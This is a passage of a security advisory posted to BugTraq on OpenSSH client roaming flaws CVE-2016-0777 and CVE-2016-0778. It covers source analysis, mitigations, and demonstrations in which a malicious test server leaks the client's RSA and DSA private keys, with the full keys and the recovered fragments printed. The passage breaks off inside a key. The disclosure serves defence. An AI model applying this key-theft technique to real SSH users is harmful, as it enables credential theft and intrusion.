BugTraq
Qualys Security Advisory - Roaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778 Jan 14 2016 05:41PM
Qualys Security Advisory (qsa qualys com)

Qualys Security Advisory

Roaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778

========================================================================

Contents
========================================================================

Summary
Information Leak (CVE-2016-0777)
- Analysis
- Private Key Disclosure
- Mitigating Factors
- Examples
Buffer Overflow (CVE-2016-0778)
- Analysis
- Mitigating Factors
- File Descriptor Leak
Acknowledgments
Proof Of Concept

========================================================================

Summary
========================================================================

Since version 5.4 (released on March 8, 2010), the OpenSSH client
supports an undocumented feature called roaming: if the connection to an
SSH server breaks unexpectedly, and if the server supports roaming as
well, the client is able to reconnect to the server and resume the
suspended SSH session.

Although roaming is not supported by the OpenSSH server, it is enabled
by default in the OpenSSH client, and contains two vulnerabilities that
can be exploited by a malicious SSH server (or a trusted but compromised
server): an information leak (memory disclosure), and a buffer overflow
(heap-based).

The information leak is exploitable in the default configuration of the
OpenSSH client, and (depending on the client's version, compiler, and
operating system) allows a malicious SSH server to steal the client's
private keys. This information leak may have already been exploited in
the wild by sophisticated attackers, and high-profile sites or users may
need to regenerate their SSH keys accordingly.

The buffer overflow, on the other hand, is present in the default
configuration of the OpenSSH client but its exploitation requires two
non-default options: a ProxyCommand, and either ForwardAgent (-A) or
ForwardX11 (-X). This buffer overflow is therefore unlikely to have any
real-world impact, but provides a particularly interesting case study.

All OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be
easily hot-fixed by setting the undocumented option "UseRoaming" to
"no", as detailed in the Mitigating Factors section. OpenSSH version
7.1p2 (released on January 14, 2016) disables roaming by default.

========================================================================

Information Leak (CVE-2016-0777)
========================================================================

------------------------------------------------------------------------

Analysis
------------------------------------------------------------------------

If the OpenSSH client connects to an SSH server that offers the key
exchange algorithm "resume (at) appgate (dot) com [email concealed]", it sends the global request
"roaming (at) appgate (dot) com [email concealed]" to the server, after successful authentication. If
this request is accepted, the client allocates a roaming buffer out_buf,
by calling malloc() (and not calloc()) with an out_buf_size that is
arbitrarily chosen by the server:

63 void
64 roaming_reply(int type, u_int32_t seq, void *ctxt)
65 {
66 if (type == SSH2_MSG_REQUEST_FAILURE) {
67 logit("Server denied roaming");
68 return;
69 }
70 verbose("Roaming enabled");
..
75 set_out_buffer_size(packet_get_int() + get_snd_buf_size());
..
77 }

40 static size_t out_buf_size = 0;
41 static char *out_buf = NULL;
42 static size_t out_start;
43 static size_t out_last;
..
75 void
76 set_out_buffer_size(size_t size)
77 {
78 if (size == 0 || size > MAX_ROAMBUF)
79 fatal("%s: bad buffer size %lu", __func__, (u_long)size);
80 /*
81 * The buffer size can only be set once and the buffer will live
82 * as long as the session lives.
83 */
84 if (out_buf == NULL) {
85 out_buf_size = size;
86 out_buf = xmalloc(size);
87 out_start = 0;
88 out_last = 0;
89 }
90 }

The OpenSSH client's roaming_write() function, a simple wrapper around
write(), calls wait_for_roaming_reconnect() to transparently reconnect
to the SSH server after a disconnection. It also calls buf_append() to
copy the data sent to the server into the roaming buffer out_buf. During
a reconnection, the client is therefore able to resend the data that was
not received by the server because of the disconnection:

198 void
199 resend_bytes(int fd, u_int64_t *offset)
200 {
201 size_t available, needed;
202
203 if (out_start < out_last)
204 available = out_last - out_start;
205 else
206 available = out_buf_size;
207 needed = write_bytes - *offset;
208 debug3("resend_bytes: resend %lu bytes from %llu",
209 (unsigned long)needed, (unsigned long long)*offset);
210 if (needed > available)
211 fatal("Needed to resend more data than in the cache");
212 if (out_last < needed) {
213 int chunkend = needed - out_last;
214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,
215 chunkend);
216 atomicio(vwrite, fd, out_buf, out_last);
217 } else {
218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);
219 }
220 }

In the OpenSSH client's roaming buffer out_buf, the most recent data
sent to the server begins at index out_start and ends at index out_last.
As soon as this circular buffer is full, buf_append() maintains the
invariant "out_start = out_last + 1", and consequently three different
cases have to be considered:

- "out_start < out_last" (lines 203-204): out_buf is not full yet (and
out_start is still equal to 0), and the amount of data available in
out_buf is indeed "out_last - out_start";

- "out_start > out_last" (lines 205-206): out_buf is full (and out_start
is exactly equal to "out_last + 1"), and the amount of data available
in out_buf is indeed the entire out_buf_size;

- "out_start == out_last" (lines 205-206): no data was ever written to
out_buf (and both out_start and out_last are still equal to 0) because
no data was ever sent to the server after roaming_reply() was called,
but the client sends (leaks) the entire uninitialized out_buf to the
server (line 214), as if out_buf_size bytes of data were available.

In order to successfully exploit this information leak and retrieve
sensitive information from the OpenSSH client's memory (for example,
private SSH keys, or memory addresses useful for further exploitation),
a malicious server needs to:

- Massage the client's heap before roaming_reply() malloc()ates out_buf,
and force malloc() to return a previously free()d but uncleansed chunk
of sensitive information. The simple proof-of-concept in this advisory
does not implement heap massaging.

- Guess the client's get_snd_buf_size() in order to precisely control
out_buf_size. OpenSSH < 6.0 accepts out_buf sizes in the range (0,4G),
and OpenSSH >= 6.0 accepts sizes in the range (0,2M]. Sizes smaller
than get_snd_buf_size() are attainable because roaming_reply() does
not protect "packet_get_int() + get_snd_buf_size()" against integer
wraparound. The proof-of-concept in this advisory attempts to derive
the client's get_snd_buf_size() from the get_recv_buf_size() sent by
the client to the server, and simply chooses a random out_buf_size.

- Advise the client's resend_bytes() that all "available" bytes (the
entire out_buf_size) are "needed" by the server, even if fewer bytes
were actually written by the client to the server (because the server
controls the "*offset" argument, and resend_bytes() does not protect
"needed = write_bytes - *offset" against integer wraparound).

Finally, a brief digression on a minor bug in resend_bytes(): on 64-bit
systems, where "chunkend" is a 32-bit signed integer, but "out_buf" and
"out_buf_size" are 64-bit variables, "out_buf + out_buf_size - chunkend"
may point out-of-bounds, if chunkend is negative (if out_buf_size is in
the [2G,4G) range). This negative chunkend is then converted to a 64-bit
size_t greater than SSIZE_MAX when passed to atomicio(), and eventually
returns EFAULT when passed to write() (at least on Linux and OpenBSD),
thus avoiding an out-of-bounds read from the OpenSSH client's memory.

------------------------------------------------------------------------

Private Key Disclosure
------------------------------------------------------------------------

We initially believed that this information leak in the OpenSSH client's
roaming code would not allow a malicious SSH server to steal the
client's private keys, because:

- the information leaked is not read from out-of-bounds memory, but from
a previously free()d chunk of memory that is recycled to malloc()ate
the client's roaming buffer out_buf;

- private keys are loaded from disk into memory and freed by key_free()
(old API, OpenSSH < 6.7) or sshkey_free() (new API, OpenSSH >= 6.7),
and both functions properly cleanse the private keys' memory with
OPENSSL_cleanse() or explicit_bzero();

- temporary copies of in-memory private keys are freed by buffer_free()
(old API) or sshbuf_free() (new API), and both functions attempt to
cleanse these copies with memset() or bzero().

However, we eventually identified three reasons why, in our experiments,
we were able to partially or completely retrieve the OpenSSH client's
private keys through this information leak (depending on the client's
version, compiler, operating system, heap layout, and private keys):

(besides these three reasons, other reasons may exist, as suggested by
the CentOS and Fedora examples at the end of this section)

1. If a private SSH key is loaded from disk into memory by fopen() (or
fdopen()), fgets(), and fclose(), a partial or complete copy of this
private key may remain uncleansed in memory. Indeed, these functions
manage their own internal buffers, and whether these buffers are
cleansed or not depends on the OpenSSH client's libc (stdio)
implementation, but not on OpenSSH itself.

- In all vulnerable OpenSSH versions, SSH's main() function calls
load_public_identity_files(), which loads the client's public keys
with fopen(), fgets(), and fclose(). Unfortunately, the private keys
(without the ".pub" suffix) are loaded first and then discarded, but
nonetheless buffered in memory by the stdio functions.

- In OpenSSH versions <= 5.6, the load_identity_file() function (called
by the client's public-key authentication method) loads a private key
with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses
fgets() and hence internal stdio buffering.

Internal stdio buffering is the most severe of the three problems
discussed in this section, although GNU/Linux is not affected because
the glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers.
BSD-based systems, on the other hand, are severely affected because they
simply malloc()ate and free() stdio buffers. For interesting comments on
this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+t
hat+sensitive+data+is+not+written+out+to+disk

2. In OpenSSH versions >= 5.9, the client's load_identity_file()
function (called by the public-key authentication method) read()s a
private key in 1024-byte chunks that are appended to a growing buffer (a
realloc()ating buffer) with buffer_append() (old API) or sshbuf_put()
(new API). Unfortunately, the repeated calls to realloc() may leave
partial copies of the private key uncleansed in memory.

- In OpenSSH < 6.7 (old API), the initial size of such a growing buffer
is 4096 bytes: if a private-key file is larger than 4K, a partial copy
of this private key may remain uncleansed in memory (a 3K copy in a 4K
buffer). Fortunately, only the file of a very large RSA key (for
example, an 8192-bit RSA key) can exceed 4K.

- In OpenSSH >= 6.7 (new API), the initial size of a growing buffer is
256 bytes: if a private-key file is larger than 1K (the size passed to
read()), a partial copy of this private key may remain uncleansed in
memory (a 1K copy in a 1K buffer). For example, the file of a
default-sized 2048-bit RSA key exceeds 1K.

For more information on this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+se
nsitive+information+stored+in+reusable+resources

https://cwe.mitre.org/data/definitions/244.html

3. An OpenSSH growing-buffer that holds a private key is eventually
freed by buffer_free() (old API) or sshbuf_free() (new API), and both
functions attempt to cleanse the buffer with memset() or bzero() before
they call free(). Unfortunately, an optimizing compiler may remove this
memset() or bzero() call, because the buffer is written to, but never
again read from (an optimization known as Dead Store Elimination).

OpenSSH 6.6 is the only version that is not affected, because it calls
explicit_bzero() instead of memset() or bzero().

Dead Store Elimination is the least severe of the three problems
explored in this section, because older GCC versions do not remove the
memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5
and Clang/LLVM do, however, remove it. For detailed discussions of this
issue:

https://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+o
f+compiler+optimizations

https://cwe.mitre.org/data/definitions/14.html

https://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506

Finally, for these three reasons, passphrase-encrypted SSH keys are
leaked in their encrypted form, but an attacker may attempt to crack the
passphrase offline. On the other hand, SSH keys that are available only
through an authentication agent are never leaked, in any form.

------------------------------------------------------------------------

Mitigating Factors
------------------------------------------------------------------------

This information leak affects all OpenSSH clients >= 5.4, but its impact
is slightly reduced by the following four reasons:

1. The vulnerable roaming code can be permanently disabled by adding the
undocumented option "UseRoaming no" to the system-wide configuration
file (usually /etc/ssh/ssh_config), or per-user configuration file
(~/.ssh/config), or command-line (-o "UseRoaming no").

2. If an OpenSSH client is disconnected from an SSH server that offers
roaming, it prints "[connection suspended, press return to resume]" on
stderr, and waits for '\n' or '\r' on stdin (and not on the controlling
terminal) before it reconnects to the server; advanced users may become
suspicious and press Control-C or Control-Z instead, thus avoiding the
information leak:

# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume]^Z
[1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1

However, SSH commands that use the local stdin to transfer data to the
remote server are bound to trigger this reconnection automatically (upon
reading a '\n' or '\r' from stdin). Moreover, these non-interactive SSH
commands (for example, backup scripts and cron jobs) commonly employ
public-key authentication and are therefore perfect targets for this
information leak:

$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.ls"
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]

$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.tar"
tar: Removing leading `/' from member names
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
...
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]

Similarly, the SCP client uses the SSH client's stdin and stdout to
transfer data, and can be forced by a malicious SSH server to output a
control record that ends in '\n' (an error message in server-to-client
mode, or file permissions in client-to-server mode); this '\n' is then
read from stdin by the fgetc() call in wait_for_roaming_reconnect(), and
triggers an automatic reconnection that allows the information leak to
be exploited without user interaction:

# env ROAMING="scp_mode sleep:1" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp
$ [connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]

$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]
lost connection

3. Although a man-in-the-middle attacker can reset the TCP connection
between an OpenSSH client and an OpenSSH server (which does not support
roaming), it cannot exploit the information leak without breaking server
host authentication or integrity protection, because it needs to:

- first, append the "resume (at) appgate (dot) com [email concealed]" algorithm name to the server's
initial key exchange message;

- second, in response to the client's "roaming (at) appgate (dot) com [email concealed]" request,
change the server's reply from failure to success.

In conclusion, an attacker who wishes to exploit this information leak
must convince its target OpenSSH client to connect to a malicious server
(an unlikely scenario), or compromise a trusted server (a more likely
scenario, for a determined attacker).

4. We discovered several non-security bugs, in specific versions and
configurations of OpenSSH, that prevent the client's roaming code from
reconnecting to the server and, as a result, prevent this information
leak from being exploited. In the client, wait_for_roaming_reconnect()
calls ssh_connect(), the same function that successfully established the
first connection to the server; this function supports four different
connection methods, but each method contains a bug and may fail to
establish a second connection to the server:

- In OpenSSH >= 6.5 (released on January 30, 2014), the default
ssh_connect_direct() method (a simple TCP connection) is called by
wait_for_roaming_reconnect() with a NULL aitop argument, which makes
it impossible for the client to reconnect to the server:

418 static int
419 ssh_connect_direct(const char *host, struct addrinfo *aitop,
...
424 int sock = -1, attempt;
425 char ntop[NI_MAXHOST], strport[NI_MAXSERV];
...
430 for (attempt = 0; attempt < connection_attempts; attempt++) {
...
440 for (ai = aitop; ai; ai = ai->ai_next) {
...
470 }
471 if (sock != -1)
472 break; /* Successful connection. */
473 }
474
475 /* Return failure if we didn't get a successful connection. */
476 if (sock == -1) {
477 error("ssh: connect to host %s port %s: %s",
478 host, strport, strerror(errno));
479 return (-1);
480 }

Incidentally, this error() call displays stack memory from the
uninitialized strport[] array, a byproduct of the NULL aitop:

$ /usr/bin/ssh -V
OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -p 222 127.0.0.1
user (at) 127.0.0 (dot) 1 [email concealed]'s password:
[connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor

- The special ProxyCommand "-" communicates with the server through the
client's stdin and stdout, but these file descriptors are close()d by
packet_backup_state() at the beginning of wait_for_roaming_reconnect()
and are never reopened again, making it impossible for the client to
reconnect to the server. Moreover, the fgetc() that waits for '\n' or
'\r' on the closed stdin returns EOF and forces the client to exit():

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/nc -e "/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1" 127.0.0.1 222
Pseudo-terminal will not be allocated because stdin is not a terminal.
user (at) 127.0.0 (dot) 1 [email concealed]'s password:
[connection suspended, press return to resume][exiting]

- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that
passes a connected file descriptor back to the client, but it calls
fatal() while reconnecting to the server, because waitpid() returns
ECHILD; indeed, the SIGCHLD handler (installed by SSH's main() after
the first successful connection to the server) calls waitpid() before
ssh_proxy_fdpass_connect() does:

1782 static void
1783 main_sigchld_handler(int sig)
1784 {
....
1789 while ((pid = waitpid(-1, &status, WNOHANG)) > 0 ||
1790 (pid < 0 && errno == EINTR))
1791 ;
1792
1793 signal(sig, main_sigchld_handler);
....
1795 }

101 static int
102 ssh_proxy_fdpass_connect(const char *host, u_short port,
103 const char *proxy_command)
104 {
...
121 /* Fork and execute the proxy command. */
122 if ((pid = fork()) == 0) {
...
157 }
158 /* Parent. */
...
167 while (waitpid(pid, NULL, 0) == -1)
168 if (errno != EINTR)
169 fatal("Couldn't wait for child: %s", strerror(errno));

$ /usr/bin/ssh -V
OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015

$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand="/usr/bin/nc -F %h %p" -p 222 127.0.0.1
user (at) 127.0.0 (dot) 1 [email concealed]'s password:
[connection suspended, press return to resume]Couldn't wait for child: No child processes

- The method ssh_proxy_connect() fork()s a standard ProxyCommand that
connects the client to the server, but if a disconnection occurs, and
the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is
waiting for a '\n' or '\r' on stdin, EOF is returned (the underlying
read() returns EINTR) and the client exit()s before it can reconnect
to the server:

$ /usr/bin/ssh -V
OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh -o ProxyCommand="/bin/nc %h %p" -p 222 127.0.0.1
user (at) 127.0.0 (dot) 1 [email concealed]'s password:
[connection suspended, press return to resume][exiting]

This behavior is intriguing, because (at least on Linux and BSD) the
signal() call that installed the main_sigchld_handler() is supposed to
be equivalent to a sigaction() call with SA_RESTART. However, portable
versions of OpenSSH override signal() with mysignal(), a function that
calls sigaction() without SA_RESTART.

This last mitigating factor is actually a race-condition bug that
depends on the ProxyCommand itself: for example, the client never
fails to reconnect to the server when using Socat as a ProxyCommand,
but fails occasionally when using Netcat.

------------------------------------------------------------------------

Private Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key
------------------------------------------------------------------------

$ head -n 1 /etc/motd
FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T
M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0
9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk
oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi
/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE
K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr
+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n
UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7
qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11
1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV
pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=
-----END RSA PRIVATE KEY-----

# env ROAMING="client_out_buf_size:1280" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
user (at) 127.0.0 (dot) 1 [email concealed]'s password:
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-97ed9f59/infoleak
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T
M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0
9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk
oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme

------------------------------------------------------------------------

Private Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key
------------------------------------------------------------------------

$ head -n 1 /etc/motd
FreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013

$ /usr/bin/ssh -V
OpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013

$ cat ~/.ssh/id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP
grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe
4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY
8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw
oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP
IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4
cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh
PHatTfiy5p82Q8+TD60=
-----END DSA PRIVATE KEY-----

# env ROAMING="client_out_buf_size:768" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-9448bb7f/infoleak
MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP
grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe
4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY
8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw
oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP
IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4
cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
...

# env ROAMING="client_out_buf_size:1024" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-279f5e2b/infoleak
...
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh
PHatTfiy5p82Q8+TD60=
...

------------------------------------------------------------------------

Private Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key
------------------------------------------------------------------------

$ head -n 1 /etc/motd
OpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013

$ /usr/bin/ssh -V
OpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc
VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL
9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175
ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn
w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU
MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh
oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY
mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M
k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G
+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95
n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt
8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw
rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5
cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb
3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV
WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ
pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM
T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY
